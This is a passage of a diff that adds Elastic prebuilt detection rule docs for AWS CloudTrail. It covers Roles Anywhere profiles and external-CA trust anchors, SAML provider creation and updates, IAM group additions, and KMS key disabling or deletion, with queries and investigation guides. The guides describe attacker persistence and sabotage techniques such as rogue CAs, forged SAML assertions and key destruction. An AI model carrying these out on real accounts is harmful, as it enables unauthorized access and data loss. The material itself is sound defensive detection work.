profiles. + Confirm these operations are sourced from known automation accounts or IP ranges. +- **Development and testing** + - Lab or sandbox accounts may test Roles Anywhere configurations with less restrictive controls. + Ensure alerts from non-production accounts are tuned accordingly. + + +*Response and remediation:* + + +- **Immediate review and containment** + - If unauthorized, disable or delete the created profile (`aws rolesanywhere delete-profile`) and review all + associated IAM roles for misuse. + - Rotate any credentials or revoke certificates issued from unapproved trust anchors. + +- **Investigation** + - Search CloudTrail for additional related actions by the same identity, such as + `CreateTrustAnchor`, `AssumeRoleWithCertificate`, or cross-account access attempts. + - Verify whether any sessions have been initiated using the new profile and identify + which roles were assumed. + +- **Recovery and hardening** + - Restrict `rolesanywhere:CreateProfile` to a small set of administrative roles. + - Implement AWS Config or Security Hub controls to alert on unauthorized or overly + permissive Roles Anywhere profiles. + - Audit IAM role trust policies linked to external anchors and ensure adherence to the + principle of least privilege. + - Review and document all approved Roles Anywhere profiles and their corresponding trust anchors. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: aws.cloudtrail + and event.provider: rolesanywhere.amazonaws.com + and event.action: CreateProfile + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc new file mode 100644 index 0000000000..8c5a9ab92e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-20-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca]] +=== AWS IAM Roles Anywhere Trust Anchor Created with External CA + +Detects the creation of an AWS IAM Roles Anywhere Trust Anchor that uses an external certificate authority (CA) rather than an AWS-managed Certificate Manager Private CA (ACM PCA). While Roles Anywhere enables secure, short-term credential issuance for workloads outside AWS, adversaries can exploit this feature by registering their own external CA as a trusted root. This allows them to generate valid client certificates that persistently authenticate to AWS roles from any location, even after key rotation or credential revocation events. This rule helps detect persistence or unauthorized federation attempts by flagging trust anchors configured with non-AWS CAs. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/rolesanywhere/latest/userguide/introduction.html +* https://ermetic.com/blog/aws/keep-your-iam-users-close-keep-your-third-parties-even-closer-part-1/ +* https://docs.aws.amazon.com/rolesanywhere/latest/APIReference/API_CreateTrustAnchor.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Roles Anywhere Trust Anchor Created with External CA* + + +AWS IAM Roles Anywhere allows workloads outside AWS (such as on-premises servers or CI/CD agents) to assume AWS IAM roles by presenting X.509 certificates. A trust anchor defines which certificate authority (CA) AWS trusts to validate +these external identities. Normally, organizations use AWS Certificate Manager Private CA (ACM PCA) to control issuance +and revocation. + +This detection rule identifies when a trust anchor is created using an **external CA** (`sourceType= "CERTIFICATE_BUNDLE" or "SELF_SIGNED_REPOSITORY"`) rather than an ACM-managed CA (`sourceType="AWS_ACM_PCA"`). This can indicate an adversary establishing persistent external access, enabling them to authenticate using certificates signed by their own CA. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. + - Determine whether this user or role is normally responsible for IAM configuration or Roles Anywhere setup. + +- **Review the trust anchor details** + - In `aws.cloudtrail.request_parameters`, confirm the `sourceType` and inspect the certificate chain. + - Look for non-AWS issuer names, custom organization fields, or self-signed CA certificates. + +- **Assess the scope and risk** + - Identify which IAM roles are linked to this trust anchor via `Profile` associations. + - Determine whether any of those roles provide privileged or cross-account access. + - Check for subsequent API calls like `CreateProfile`, `CreateRole`, or `AssumeRoleWithCertificate` to gauge whether + the external CA has been used. + +- **Correlate related activity** + - Search for preceding reconnaissance or setup activity: + - `ListTrustAnchors`, `ListProfiles`, `GetRole` + - Attempts to create additional credential paths (`CreateAccessKey`, `CreateOpenIDConnectProvider`) + - Investigate other actions by the same user identity, particularly IAM role or trust policy modifications. + +- **Validate legitimacy** + - Confirm with identity management or security engineering teams whether the external CA is an approved authority. + - Review internal PKI or certificate inventories to ensure this CA is registered in the organization’s trust chain. + + +*False positive analysis* + + +- **Legitimate external CA use** + - Some organizations integrate trusted third-party PKI providers (e.g., Venafi, DigiCert, Entrust) for workload identity management. Validate whether the CA is part of your documented PKI ecosystem. +- **Testing and lab accounts** + - Development or testing environments may temporarily use self-signed certificates to validate Roles Anywhere integrations. + - Confirm that such activity occurs in isolated accounts and not in production. +- **Expected administrative setup** + - Initial configuration by security engineers or platform teams may trigger this rule. Verify via change tickets or + deployment logs before treating as suspicious. + + +*Response and remediation* + + +- **Containment** + - If the CA is unauthorized, immediately delete the trust anchor using + `aws rolesanywhere delete-trust-anchor --trust-anchor-id `. + - Review for any certificates already used to assume roles and revoke those certificates from the external CA. + +- **Investigation** + - Identify all IAM Roles Anywhere profiles linked to the trust anchor (`ListProfiles`). + - Check CloudTrail for any successful `AssumeRoleWithCertificate` calls associated with the external CA. + - Assess whether lateral movement or data exfiltration occurred after the trust anchor creation. + +- **Recovery and hardening** + - Replace unauthorized CAs with ACM PCA-managed ones. + - Restrict `rolesanywhere:CreateTrustAnchor` permissions to security administrators only. + - Monitor for new trust anchor creations and external certificate sources via AWS Config rules or Security Hub findings. + - Implement GuardDuty or Security Hub integrations to detect anomalous IAM and Roles Anywhere behavior. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where event.dataset == "aws.cloudtrail" + and event.provider == "rolesanywhere.amazonaws.com" + and event.action == "CreateTrustAnchor" + and event.outcome == "success" + and not stringContains(aws.cloudtrail.request_parameters, "sourceType=AWS_ACM_PCA") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-saml-provider-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-saml-provider-created.asciidoc new file mode 100644 index 0000000000..a52152bbc8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-saml-provider-created.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-20-aws-iam-saml-provider-created]] +=== AWS IAM SAML Provider Created + +Detects the creation of a new SAML Identity Provider (IdP) in AWS IAM. SAML providers enable federated authentication between AWS and external identity providers, allowing users to access AWS resources using credentials from the external IdP. Adversaries who have gained administrative access may create rogue SAML providers to establish persistent, federated access to AWS accounts that survives credential rotation. This technique allows attackers to assume roles and access resources by forging SAML assertions from an IdP they control. Creating a SAML provider is a rare administrative action that should be closely monitored and validated against authorized infrastructure changes. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateSAMLProvider.html +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_saml.html +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM SAML Provider Created* + + +SAML (Security Assertion Markup Language) providers in AWS IAM enable federated authentication, allowing users from external identity providers to access AWS resources without separate AWS credentials. Creating a SAML provider establishes a trust relationship between AWS and the external IdP. + +This rule detects successful `CreateSAMLProvider` API calls. In most environments, SAML provider creation is extremely rare—typically only occurring during initial SSO setup or major infrastructure changes. An unauthorized SAML provider creation could enable an attacker to maintain persistent access by forging SAML assertions from an IdP they control. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` to determine who created the SAML provider. + - Verify whether this principal is authorized to manage identity federation. + +- **Review the SAML provider details** + - Examine `aws.cloudtrail.request_parameters` for the SAML provider name and metadata document. + - Identify the external IdP URL and signing certificate in the metadata. + +- **Validate business justification** + - Confirm with identity management or platform teams whether this aligns with planned SSO integration. + - Check for related change tickets or infrastructure-as-code deployments. + +- **Check for follow-on activity** + - Search for `CreateRole` or `UpdateAssumeRolePolicy` calls that reference the new SAML provider. + - Look for `AssumeRoleWithSAML` calls using the newly created provider. + +- **Correlate with other suspicious activity** + - Check for preceding privilege escalation or credential access events. + - Look for other persistence mechanisms being established concurrently. + + +*False positive analysis* + + +- **Planned SSO integration** + - SAML providers are created during initial setup of identity federation with Okta, Azure AD, or other IdPs. + - Validate against documented SSO integration projects. + +- **Infrastructure-as-code deployments** + - Terraform, CloudFormation, or other IaC tools may create SAML providers as part of automated deployments. + - Confirm via CI/CD logs. + + +*Response and remediation* + + +- **Immediate containment** + - If unauthorized, delete the SAML provider using `DeleteSAMLProvider`. + - Review and remove any IAM roles that trust the rogue provider. + +- **Investigation** + - Audit CloudTrail for any `AssumeRoleWithSAML` calls using this provider. + - Review all IAM roles with SAML trust relationships. + +- **Hardening** + - Restrict `iam:CreateSAMLProvider` permissions to a limited set of administrative roles. + - Implement SCPs to control SAML provider creation in member accounts. + - Enable AWS Config rules to monitor identity provider configurations. + + +*Additional information* + +- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_saml.html[AWS IAM SAML Providers Documentation]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "CreateSAMLProvider" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-saml-provider-updated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-saml-provider-updated.asciidoc new file mode 100644 index 0000000000..5aab24a015 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-saml-provider-updated.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-20-aws-iam-saml-provider-updated]] +=== AWS IAM SAML Provider Updated + +Detects when an AWS IAM SAML provider is updated, which manages federated authentication between AWS and external identity providers (IdPs). Adversaries with administrative access may modify a SAML provider’s metadata or certificate to redirect authentication flows, enable unauthorized federation, or escalate privileges through identity trust manipulation. Because SAML providers underpin single sign-on (SSO) access for users and applications, unauthorized modifications may allow persistent or covert access even after credentials are revoked. Monitoring "UpdateSAMLProvider" API activity is critical to detect potential compromise of federated trust relationships. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM SAML Provider Updated* + + +AWS IAM SAML providers enable federated authentication between AWS and external identity providers (IdPs), +allowing users from trusted domains to access AWS resources without separate credentials. +Updating a SAML provider can modify the trust relationship — including the signing certificate or metadata document — +and, if abused, may allow an attacker to redirect authentication flows or gain access through a malicious or compromised IdP. + +This rule detects successful `UpdateSAMLProvider` API calls that do not originate from AWS Single Sign-On (SSO), +as normal SSO operations are filtered out. These changes can be significant because a single unauthorized update +can affect all federated authentication in the account. + + +*Possible investigation steps* + + +- **Validate the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `user.name`, and `user_agent.original` to determine who performed the update. + - Confirm if the actor is part of an authorized identity management or platform engineering group. + - Review `source.ip` and `cloud.region` fields for unexpected geolocations, IP ranges, or service origins. + +- **Assess the scope of the modification** + - Parse the `aws.cloudtrail.request_parameters` for updates to `SAMLMetadataDocument` or `Certificate` attributes. + - Compare the new metadata with previous versions (available via AWS CLI or AWS Config) to detect unauthorized IdP URLs, + certificates, or assertion endpoints. + - Identify whether the change replaced a valid trusted certificate with an unknown or self-signed one. + +- **Correlate related IAM and authentication events** + - Look for preceding `CreateSAMLProvider` or `DeleteSAMLProvider` activity, as attackers may replace existing trust entities. + - Search for follow-up logins (`AssumeRoleWithSAML`) or STS tokens issued shortly after the update — this could indicate + immediate exploitation of the new configuration. + - Check for concurrent changes to IAM roles associated with SAML federated access. + +- **Confirm authorization** + - Coordinate with your identity management team to confirm whether the SAML provider update aligns with + planned IdP maintenance or certificate rotation. + + +*False positive analysis* + + +- **Planned SSO certificate rotation** + - Most legitimate SAML provider updates occur during routine certificate renewals by authorized IdP admins. + Validate that the update timing aligns with planned identity provider operations. +- **Automated infrastructure processes** + - CI/CD or configuration-as-code pipelines may automatically update SAML metadata as part of deployment. + Verify whether this activity matches known automation patterns. +- **Third-party IdP integrations** + - Some integrated SaaS applications update SAML providers programmatically. Confirm the vendor and the originating credentials before closing as benign. + + +*Response and remediation* + + +- **Immediate review and containment** + - Retrieve the current SAML provider configuration using the AWS CLI (`aws iam get-saml-provider`) + and compare it with the previous known-good state. + - If unauthorized changes are confirmed, restore the previous configuration or delete the compromised provider. + - Temporarily disable federated login access for affected roles or accounts until validation is complete. + +- **Investigation and scoping** + - Review CloudTrail logs for related IAM configuration changes, including `CreateRole`, `AttachRolePolicy`, or + `UpdateAssumeRolePolicy` events that may expand federated trust scope. + - Identify any `AssumeRoleWithSAML` or `GetFederationToken` events following the update, indicating possible exploitation. + - Cross-check logs from your external IdP to verify if unauthorized assertions or logins were attempted post-update. + +- **Recovery and hardening** + - Limit permissions to modify SAML providers (`iam:UpdateSAMLProvider`) to a dedicated identity management role. + - Enforce change control documentation and peer review for all federation configuration changes. + - Enable AWS Config to monitor and record SAML provider resource configuration history. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "UpdateSAMLProvider" + and event.outcome: "success" + and not (source.address: "sso.amazonaws.com" and user_agent.original: "sso.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-user-addition-to-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-user-addition-to-group.asciidoc new file mode 100644 index 0000000000..7a0b75bfb4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-user-addition-to-group.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-aws-iam-user-addition-to-group]] +=== AWS IAM User Addition to Group + +Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM). Any user added to a group automatically gains the permissions that are assigned to the group. If the target group carries elevated or admin privileges, this action can instantly grant high-risk permissions useful for credential misuse, lateral movement, or privilege escalation. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM User Addition to Group* + + +This rule detects when an IAM user is added to an IAM group via the `AddUserToGroup` API call. If the target group holds elevated privileges, this action may immediately grant that user wide-ranging access useful for credential misuse or lateral movement. This rule helps detect unauthorized privilege escalation via group membership change. Treat as high-risk when the destination group has wide scope (e.g., AdministratorAccess or permissive inline policies). + + +*Possible investigation steps* + + +- **Identify the actor and target** + - Check `aws.cloudtrail.user_identity.arn` for who added the user. + - From `aws.cloudtrail.request_parameters`, capture `userName` (added user) and `groupName` (destination group). + - Check `source.ip`, `user_agent.original`, `cloud.region` for unusual patterns. + +- **Examine the group’s privileges** + - Use `GetGroup`, `ListAttachedGroupPolicies` to see what policies the group holds. Look for `AdministratorAccess`, `iam:*`, `s3:*`, `ec2:*` or cross-account permissions. + - Check whether the group was recently created (`CreateGroup`) or recently escalated (`AttachGroupPolicy`). Common attacker pattern: create > attach policy > add user. + +- **Correlate with surrounding activity** + - Look for preceding events by the actor: `AssumeRole`, `GetSessionToken`, `CreateAccessKey`, `AttachGroupPolicy`. + - Follow the added user’s activities after group membership. Look for sensitive operations (e.g., IAM actions, S3 policy changes, EC2 snapshot/AMI activity). + + + +*False positive analysis* + + +- Onboarding or role transitions may legitimately add users to groups. +- Automated Identity-Management pipelines may add many users to service groups; validate know + + +*Response and remediation* + + +- **Containment**: + - If unapproved, remove the user from the group immediately (`RemoveUserFromGroup`) and rotate their access keys. + - Temporarily restrict group policy changes while assessing blast radius. + +- **Investigation and scoping**: + - Review all actions executed by the newly added user since the change (ex: PutBucketPolicy, CreateAccessKey, PassRole). + - Confirm whether other users were added to the same group within the same window. + +- **Recovery and hardening**: + - Enforce least privilege by redesigning large-group membership. + - Restrict `iam:AddUserToGroup` to only appropriate service principals with approval workflow. + - Create detections for AttachGroupPolicy to powerful policies and for mass AddUserToGroup patterns. + + +*Additional information* + +https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Security Best Practices] + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: aws.cloudtrail and + event.provider: iam.amazonaws.com and + event.action: AddUserToGroup and + event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion.asciidoc new file mode 100644 index 0000000000..d453655429 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-20-aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion]] +=== AWS KMS Customer Managed Key Disabled or Scheduled for Deletion + +Identifies attempts to disable or schedule the deletion of an AWS customer managed KMS Key. Disabling or scheduling a KMS key for deletion removes the ability to decrypt data encrypted under that key and can permanently destroy access to critical resources. Adversaries may use these operations to cause irreversible data loss, disrupt business operations, impede incident response, or hide evidence of prior activity. Because KMS keys often protect sensitive or regulated data, any modification to their lifecycle should be considered highly sensitive and investigated promptly. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/cli/latest/reference/kms/disable-key.html +* https://docs.aws.amazon.com/cli/latest/reference/kms/schedule-key-deletion.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS KMS +* Use Case: Log Auditing +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Xavier Pich + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS KMS Customer Managed Key Disabled or Scheduled for Deletion* + + +AWS KMS keys underpin encryption for S3, EBS, RDS, Secrets Manager, Lambda, and numerous other AWS services. Disabling a KMS key or scheduling its deletion immediately disrupts encryption and decryption workflows, and, once deleted, renders all data encrypted with that key unrecoverable. + +Because these operations are rare, highly privileged, and tightly controlled in mature environments, they should be treated as high-risk, destructive actions when performed unexpectedly. Adversaries may disable or delete KMS keys to sabotage recovery, impede forensic analysis, or destroy evidence after exfiltration. + + + +*Possible investigation steps* + + +- **Identify the actor and authentication context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine the caller. + - Check `source.ip`, `source.geo` fields, and `user_agent.original` to determine whether the action originated from an expected network path or automation platform. + - Compare the actor and access key to historical usage patterns. + +- **Determine what key was affected and its criticality** + - Inspect `aws.cloudtrail.resources.arn` to identify the KMS key. + - Determine: + - The services and data protected by the key (e.g., RDS, EBS, S3, Secrets Manager). + - The environment (prod vs. dev). + - Owner or application team. + +- **Understand the scope and intent of the change** + - For `DisableKey`, determine whether a dependent service immediately began failing or experienced decryption errors. + - For `ScheduleKeyDeletion`, examine the `PendingWindowInDays` value within `aws.cloudtrail.request_parameters`. + - Check whether the key was previously rotated, enabled/disabled, or had its policy recently modified. + +- **Correlate with surrounding events** + - Look for: + - IAM policy changes granting new KMS privileges. + - Access anomalies involving the same principal. + - File system, database, or backup deletions near the same timeframe. + - S3, EBS, or RDS resources showing encryption failures. + - Determine whether other keys were modified in the same window (possible broader sabotage attempt). + +- **Validate intent with owners** + - Confirm with the application, data, or security owners: + - Whether deactivation or scheduled deletion was requested. + - Whether the key was being replaced, migrated, or retired. + + +*False positive analysis* + + +- **Planned key lifecycle activities** + - Some organizations disable KMS keys before rotation, migration, or decommissioning. + - Scheduled deletion during infrastructure teardown may be expected in CI/CD-driven ephemeral environments. + +- **Configuration errors** + - Misapplied tags or incorrect CloudFormation teardown workflows can unintentionally disable or schedule deletion of KMS keys. + +If any of the above conditions apply, consider adjusting rule exceptions based on IAM principal, environment tag, or automation role. + + +*Response and remediation* + + +- **Contain and validate** + - Immediately confirm whether the key disablement or deletion schedule was intentional. + - If unauthorized, cancel scheduled deletion (`CancelKeyDeletion`) and re-enable the key (`EnableKey`) as appropriate. + - Rotate credentials or access keys used by the actor if compromise is suspected. + +- **Assess impact** + - Identify all AWS services and data encrypted with the affected KMS key. + - Review logs and service metrics for failures involving: + - EBS volume attachments + - RDS instance decryption + - S3 object access + - Secrets Manager retrieval + - Lambda environment variable decryption + +- **Investigate for compromise** + - Review CloudTrail activity for the principal: + - Permission escalations + - Unusual STS role assumptions + - S3, EC2, RDS destructive behavior + - Look for preceding data access or exfiltration attempts. + +- **Strengthen controls** + - Restrict AWS KMS lifecycle permissions (`kms:DisableKey`, `kms:ScheduleKeyDeletion`) to a very small privileged set. + - Use AWS Organizations SCPs to prevent KMS key deletion in production accounts. + - Enable AWS Config rules for KMS key state monitoring. + - Require MFA for administrators capable of key management. + +- **Post-incident improvement** + - Update runbooks to include KMS lifecycle change approvals. + - Implement tagging standards to designate high-risk keys. + - Enhance monitoring for key policy modifications or changes to principal permissions. + + +*Additional information* + +- 